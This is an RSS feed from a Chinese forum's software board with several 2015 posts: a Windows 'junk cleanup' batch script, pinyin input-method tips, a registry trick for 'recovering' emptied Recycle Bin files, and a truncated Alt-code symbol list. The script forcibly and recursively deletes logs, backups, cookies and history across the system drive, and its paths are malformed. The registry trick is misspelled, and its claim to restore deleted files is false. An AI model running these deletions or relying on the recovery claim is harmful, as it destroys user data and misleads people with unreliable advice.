<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[计算机  &gt; 软件  &gt; 人工智能  - FF87论坛!]]></title>
<link><![CDATA[list.php?mode=a&area_id=1-15_5_1]]></link>
<description><![CDATA[该标签仍可细分：]]></description>
<copyright>(c) 2012, 162100.com. All rights reserved.</copyright>
<generator>162100.com</generator>
<image>
  <url><![CDATA[inc/css/a/area_logo_1-15.gif]]></url>
  <title><![CDATA[计算机  &gt; 软件  &gt; 人工智能  - FF87论坛!]]></title>
  <link><![CDATA[list.php?mode=a&area_id=1-15_5_1]]></link>
</image>
<item>
  <title><![CDATA[痕迹清理批处理工具]]></title>
  <description><![CDATA[将下面内容用记事本编辑另存为.bat格式结尾文件，双击运行即可<br>代码区：<br>@echo off &nbsp;&nbsp;<br>color 0a &nbsp;<br>title windows7系统垃圾清理— &nbsp;<br>echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★ &nbsp;<br>echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★ &nbsp;<br>echo.★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo.★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo.★☆ &nbsp; 清理系统垃圾文件，请稍等…… &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ☆★ &nbsp;<br>echo ★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo.★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★ &nbsp;<br>echo ★☆ ★☆ ★☆ ★☆ ★☆★☆★☆ ★☆ ★☆ ★☆ ★☆★ &nbsp;<br>echo 清理垃圾文件，速度由电脑文件大小而定。在没看到结尾信息时 &nbsp;&nbsp;<br>echo 请勿关闭本窗口。 &nbsp;&nbsp;<br>echo 正在清除系统垃圾文件，请稍后…… &nbsp;&nbsp;<br>echo 删除补丁备份目录 &nbsp;&nbsp;<br>RD %windir%$hf_mig$ /Q /S &nbsp;&nbsp;<br>echo 把补丁卸载文件夹的名字保存成2950800.txt &nbsp;&nbsp;<br>dir %windir%$NtUninstall* /a:d /b &gt;%windir%2950800.txt &nbsp;&nbsp;<br>echo 从2950800.txt中读取文件夹列表并且删除文件夹 &nbsp;&nbsp;<br>for /f %%i in (%windir%2950800.txt) do rd %windir%%%i /s /q &nbsp;&nbsp;<br>echo 删除2950800.txt &nbsp;&nbsp;<br>del %windir%2950800.txt /f /q &nbsp;&nbsp;<br>echo 删除补丁安装记录内容（下面的del /f /s /q %systemdrive%*.log已经包含删除此类文件） &nbsp;&nbsp;<br>del %windir%KB*.log /f /q &nbsp;&nbsp;<br>echo 删除系统盘目录下临时文件 &nbsp;&nbsp;<br>del /f /s /q %systemdrive%*.tmp &nbsp;&nbsp;<br>echo 删除系统盘目录下临时文件 &nbsp;&nbsp;<br>del /f /s /q %systemdrive%*._mp &nbsp;&nbsp;<br>echo 删除系统盘目录下日志文件 &nbsp;&nbsp;<br>del /f /s /q %systemdrive%*.log &nbsp;&nbsp;<br>echo 删除系统盘目录下GID文件(属于临时文件，具体作用不详) &nbsp;&nbsp;<br>del /f /s /q %systemdrive%*.gid &nbsp;&nbsp;<br>echo 删除系统目录下scandisk（磁盘扫描）留下的无用文件 &nbsp;&nbsp;<br>del /f /s /q %systemdrive%*.chk &nbsp;&nbsp;<br>echo 删除系统目录下old文件 &nbsp;&nbsp;<br>del /f /s /q %systemdrive%*.old &nbsp;&nbsp;<br>echo 删除回收站的无用文件 &nbsp;&nbsp;<br>del /f /s /q %systemdrive%recycled*.* &nbsp;&nbsp;<br>echo 删除系统目录下备份文件 &nbsp;&nbsp;<br>del /f /s /q %windir%*.bak &nbsp;&nbsp;<br>echo 删除应用程序临时文件 &nbsp;&nbsp;<br>del /f /s /q %windir%prefetch*.* &nbsp;&nbsp;<br>echo 删除系统维护等操作产生的临时文件 &nbsp;&nbsp;<br>rd /s /q %windir%temp &amp; md %windir%temp &nbsp;&nbsp;<br>echo 删除当前用户的COOKIE（IE） &nbsp;&nbsp;<br>del /f /q %userprofile%cookies*.* &nbsp;&nbsp;<br>echo 删除internet临时文件 &nbsp;&nbsp;<br>del /f /s /q “%userprofile%local settingstemporary internet files*.*” &nbsp;&nbsp;<br>echo 删除当前用户日常操作临时文件 &nbsp;&nbsp;<br>del /f /s /q “%userprofile%local settingstemp*.*” &nbsp;&nbsp;<br>echo 删除访问记录（开始菜单中的文档里面的东西） &nbsp;&nbsp;<br>del /f /s /q “%userprofile%recent*.*” &nbsp;&nbsp;<br>echo &nbsp;&nbsp;<br>echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★ &nbsp;<br>echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★ &nbsp;<br>echo ★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo.★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo.★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo ★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo ★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;恭喜您！清理全部完成！ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo.★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo ★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo.★☆ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;☆★ &nbsp;<br>echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★ &nbsp;<br>echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★&nbsp;]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=1220]]></link>
  <author><![CDATA[zyc]]></author>
  <pubDate><![CDATA[Thu, 11 Jun 2015 15:58:11 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[新站让百度快速收录]]></title>
  <description><![CDATA[百度网盘：http://pan.baidu.com/s/1CEQlK <a href="http://pan.baidu.com/s/1CEQlK" target="_blank">点击查看</a>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=984]]></link>
  <author><![CDATA[zyc]]></author>
  <pubDate><![CDATA[Sun, 07 Jun 2015 20:38:50 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[拼音打字快打十招]]></title>
  <description><![CDATA[除了少数专业的打字员，大部分人都用拼音打字，使用最多的也是最方便的可能就是标准拼音也就是智能ABC了。如果不会用五笔打字，智能ABC用起来确实很方便。而且熟练了也会很快。当然也还可以多学些加快速度的方法吧。这里收集整理了若干帮助条文，加上使用中一些心得，一并放在空间里，给大家方便，自己也方便查阅。&nbsp;<br>&nbsp; &nbsp; 一、这是最简单的，词组。当要输入“棉袄”一词的拼音“mianao&quot;时，肯定是出不来这个词的，因为ao字是零声母，不过要是在“mian”和“ao”之间输入一个分隔符——‘（即单引号），棉袄就有了，你可以试一试，以此类推，晚安——wan’an，骄傲——jiao’ao……&nbsp;<br>&nbsp; &nbsp; 二、快捷输入英文：无须切换，在中文输入状态下先输入一个”v“，然后再敲入你需要的英文就搞定了：vlove——love，若需要大写则按Shift。&nbsp;<br>&nbsp; &nbsp; 三、快速输入符号和单位，你只须先输入一个“v”，然后接着输入数字1—9中的任意一个，就可得到不同符号，具体功能如下：&nbsp;<br>&nbsp; 输入： &nbsp; 得到的符号类型&nbsp;<br>&nbsp; “v1” &nbsp; 各种常用的和不常用的标点符号&nbsp;<br>&nbsp; “v2” &nbsp; 各种类型的数字&nbsp;<br>&nbsp; “v3” &nbsp; 常用符号&nbsp;<br>&nbsp; “v4” &nbsp; 日语假名&nbsp;<br>&nbsp; “v5” &nbsp; 注音&nbsp;<br>&nbsp; “v6” &nbsp; 各种语言的基本字母&nbsp;<br>&nbsp; “v7” &nbsp; 同上&nbsp;<br>&nbsp; “v8” &nbsp; 汉语拼音&nbsp;<br>&nbsp; &nbsp; “v9” &nbsp; 线形特殊符号 &nbsp;<br>&nbsp; &nbsp; 四、输入中文小写的数字是件挺麻烦的事，挨个去找很浪费时间。不过，掌握了技巧，它也就没那么难了。只要先输入一个“i”，再加上数字1—9中的某个你要输入的数，这个数的中文小写就出来了。&nbsp;<br>&nbsp; &nbsp; &nbsp; 智能ABC还提供了单位的快速输入，所用热键同样是“i”，采用“i+单位缩写”，比如要输入“厘米”，则只要键入“icm”即可。输入“万”、“千”、“百”、“十”等的方法是在其声母前加“i”，如输入“千”，只需键入“iq”就可以。&nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; 对一些常用量词也可简化输入，输入“ig”，按空格（或回车键），将显示“个”；系统规定数字输入中字母的含义为：&nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;g &#091;个&#093;、s &#091;十，拾&#093;、b&#091;百，佰&#093;、q&#091;千，仟&#093;、w&#091;万&#093;、e&#091;亿&#093;、z&#091;兆&#093;、d&#091;第&#093;、&nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;n&#091;年&#093;、y&#091;月&#093;、r&#091;日&#093;、t&#091;吨&#093;、k&#091;克&#093;、$&#091;元&#093;、h&#091;时&#093;、f&#091;分&#093;、l&#091;里&#093;、&nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;m&#091;米&#093;、j&#091;斤&#093;、o&#091;度&#093;、p&#091;磅&#093;、u&#091;微&#093;、i&#091;毫&#093;、a&#091;秒&#093;、c&#091;厘&#093;、x&#091;升&#093;<br>&nbsp; &nbsp; &nbsp; 五、输入大写数字：要在智能ABC中输入大写的数字，如“一”、“二”、“三”或“壹”、“贰”、“叁”，需要使用的快捷键就是“i”和“I”键。比如要输入“三”，只要键入“i3”，要输入“贰”，只要键入“I2”(按住“Shift＋i”，即可输入“I”)即可。<br>&nbsp; &nbsp; &nbsp; 六、输入中文日期：在智能ABC中快速输入年月日的方法与其他输入法相似，使用“n”、“y”、“r”来分割“年”、“月”、“日”，只是要输入前，还要加上“i”，如要输入“二00七年五月八日”，只需键入“i2007n5y8r”即可。大小写的“i”，会有不同收获，参看上条。<br>&nbsp; &nbsp; &nbsp; 七、笔形输入：智能ABC 不是一种纯粹的拼音输入法，而是一种音形结合输入法。因此在输入拼音的基础上如果再加上该字第一笔形状编码的笔形码，就可以快速检索到这个字。笔形码所代替的笔形为：1 横 2 竖 3 撇 5 左弯钩 6 右弯钩 7 十字交叉 8 方框。例如输入“吴”字，输入：wu8 即可减少检索时翻页的次数，检索范围大大缩小。<br>&nbsp; &nbsp; &nbsp; 八、强制记忆功能：强制记忆功能是指将需要经常使用的字符串强制添加到用户词库中，如果仅仅把它当作是造词功能的一种扩展，就太小瞧它了。以向词库中强制添加“老牛”这个词语为例，在智能ABC 的输入条上右击，在展开的右键菜单中选择“定义新词”，这时将打开“定义新词”对话框，在“新词”栏中输入“老牛”，接着在“外码”栏中输入老牛的英文缩写“ln”。以后可以用以下方法输入：在输入条中输入“uln”(前面加了一个u) ，这时词条“老牛”就会出现在输入条中，再按空格键即可使之上屏。切记，要先输一个u 。<br>&nbsp; &nbsp; &nbsp; 九、中途定位：当你打完一个词组却发现上屏的光标位置有误，别着急，不用重新来过，直接按方向键左右移动到新位置，再按空格上屏，就可以了。不过这不通用，记事本可以的。&nbsp;<br>以前的word97也是可以的，现在的Office2003就不行了。<br>&nbsp; &nbsp; &nbsp; 十、朦胧回忆：智能ABC 在输入的过程当中会自动记忆用户输入的历史情况，对于刚刚用过不久的词语，使用最简单的方法依据不完整的信息进行回忆，从而方便地输入用过的词语。若要重复刚刚输入过的词条，可以按组合键Ctrl ＋－，比如刚刚输入了“天堂苏州”这个词，紧接着再按Ctrl ＋－，词语“天堂苏州”就又被输入，回忆在输入内容比较单一、输入内容频繁重复的情况下使用起来非常有效。<br>&nbsp; &nbsp; &nbsp; 还有些常规的不常用容易忘记，一并记在这里，算是备忘：&nbsp;<br>&nbsp; &nbsp; &nbsp; 全半角切换：按 shift+space（上档键加空格）就可以了。比如~和～，全半角不一样的。&nbsp;<br>&nbsp; &nbsp; &nbsp; 中英文标点符号切换：按ctrl+.（控制键+句号）就可以了。比如 . 和 。￥和$ 还有……和^。<br>&nbsp; &nbsp; &nbsp; 有时候打一个字忘了拼写，我们就打词，然后去掉词里多余的那个字就得到我们想要的。其实可以这样：打出词的拼写以后，按“&#091;”得到这个词的第一个字；按“&#093;”得到这个词的最后一个字。比如打“yyh&#091;”就得到“音”字。不过这个方法有时候行有时候不行，可能和键盘类型或者ABC的版本、或者是操作系统的版本有关，还没弄明白。<br>&nbsp; &nbsp; &nbsp; 接下来是些趣味打字，不常用：&nbsp;<br>&nbsp; &nbsp; &nbsp; 1、↖↗↘↙怎么打？ALT+43081,43082,43083,43084&nbsp;<br>&nbsp; &nbsp; &nbsp; 2、嗯。这个字全拼可以直接打en，标准（也就是智能ABC）要打n88 才有。&nbsp;<br>&nbsp; &nbsp; &nbsp; 3、囍。ALT+821206 按下ALT再按数字键，打完数字键放开ALT就上屏了。如果要在word里用，先用记事本打，然后粘贴。<br>&nbsp; &nbsp; &nbsp; 还有些是比较初级的，多半使用者都知道，也有可能不知道的，一并写在下面：&nbsp;<br>&nbsp; &nbsp; &nbsp; 单字快打：z--在；m--没；a--啊；b--不；c--才；n--年；x--小；s--是；d--的；f--发；h--和；g--个……余类推。&nbsp;<br>&nbsp; &nbsp; &nbsp; 双字组： sm--什么；zd--知道；my--没有；wm--我们；mn--明年；hj--环境……余类推。&nbsp;<br>&nbsp; &nbsp; &nbsp; 三字组： ymy--有没有；hbh--会不会；gcd--共产党；mzd--毛泽东；ybf--一部分……余类推。&nbsp;<br>&nbsp; &nbsp; &nbsp; 四字成语：很多常用成语都可以一次打出，比如mmhh——马马乎乎；brgh——病入膏肓；mxy——莫须有；mmqm——莫名其妙；bfbz——百发百中；wangmeizhike——望梅止渴；fanrongchangsheng——繁荣昌盛；jplj——筋疲力尽；buhuangduorang——不遑多让……余类推。<br>&nbsp; &nbsp; &nbsp; 上述例举只是一部分，用多了自然会有新发现。ABC的词频调整如果打开，则会根据个人打字习惯的不同和当前打字词组的出现频率，自动将最常用的字和词组调整到最前面，无须选字，直接按空格键就上屏，很方便。如果临时打文章改变了首字或首词组，想回到原来习惯了的状态，只要关闭当前打字的文稿，重新再开新文稿，就行了。<br>&nbsp; &nbsp; &nbsp; 意犹未尽，再说些智能ABC输入法相关的题外话。当年windows98的时候，智能ABC输入法有个人词库，系统会根据各人的打字习惯将最常用的词组记忆下来，使用时间越长，惯用词组就记忆得越多越全，会越打越方便、顺手和快捷，进入WinXP的时期，这个词组记忆词库功能取消了，莫名其妙，实在令人想不通，或许是微软为了推广它自己的输入法，故意削弱智能ABC吧，可是也没见几个人改用那个什劳子微软拼音输入法，毕竟那是要改变已有的打字习惯相当于从头学打字的，有几个人愿意做这种没必要的傻事呢。<br>&nbsp; &nbsp; &nbsp; 和微软输入法犯同样毛病的是时下层出不穷的新输入法，但是很少有用惯了智能ABC又去改新输入法的，尽管新输入法确实有很多优点，比如庞大而完备的词库和强大的词组记忆功能，但是要求别人彻底改变已有的打字习惯，从头再来，重新适应和建立新的习惯，这工程也过于浩大了。就如同凌空建阁，根本上是靠不住的。除非本来就是新手！<br>智能ABC是中国人发明的，被微软买断后不仅停止了进一步开发，甚至在主要功能上加以削弱，目的仅仅是为了推广它那没多少人用的微软输入法，这种令人十分切齿而且低劣的做法，竟出自世界一流的大公司，这是很令人费解的。&nbsp;]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=881]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sun, 07 Jun 2015 10:00:36 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[三步恢复回收站中被删除的文件]]></title>
  <description><![CDATA[<span style="font-size: 13px;">有时候，因为不小心或烦，删除了有用的或还要用的文件，而且又清空了回收站（或直接删除而根本不放入回收站）。怎么办？别着急，只要你的电脑还没有运行磁盘整理，且系统完好，任何时候的文件都可以找回来。方法很简单：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">　　1、单击“开始/运行”，输入regedit 打开注册表&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">　　2、依次展开：HKEY_LOCAL_MACHIME/SOFTWARE/microsoft/WINDOWS/CURRENTVERSION/EXPLORER/DESKTOP/NemeSpace 在左边空白处点击“新建”，选择“主键”，命名为“645FFO40—5081—101B—9F08—00AA002F954E”，再把右边的“默认”主键的键值设为“回收站”，退出注册表。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">　　3、重启电脑即可见到被你删除的文件&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=809]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 14:13:15 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[一些特殊符号的打法]]></title>
  <description><![CDATA[<span style="font-size: 13px;">按住ALT，在小键盘上敲以下的数字, 然后松开就出来了&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+34148=卍&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+34149=卐&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43144=▓&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43151=◤&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+41459=◇&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+41460=◆&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43113=╥&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43114=╦&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43115=╧&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43116=╨&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43117=╩&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43118=╪&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43119=╫&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43120=╬&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43121=╭&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43122=╮&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43123=╯&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43124=╰&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43125=╱&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43126=╲&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43127=╳&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43128=▁&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43129=▂&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43130=▃&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43131=▄&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43132=▅&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43133=▆&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43134=▇&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43144=▓&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43145=▔&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43146=▕&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+41457=●&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+41458=◎&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43138▊&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43139▋&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43140▌&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43141▍&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43142▎&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43143▏&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43147▼&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43148▽&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43149◢&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43151◤&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　alt+43152◥&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 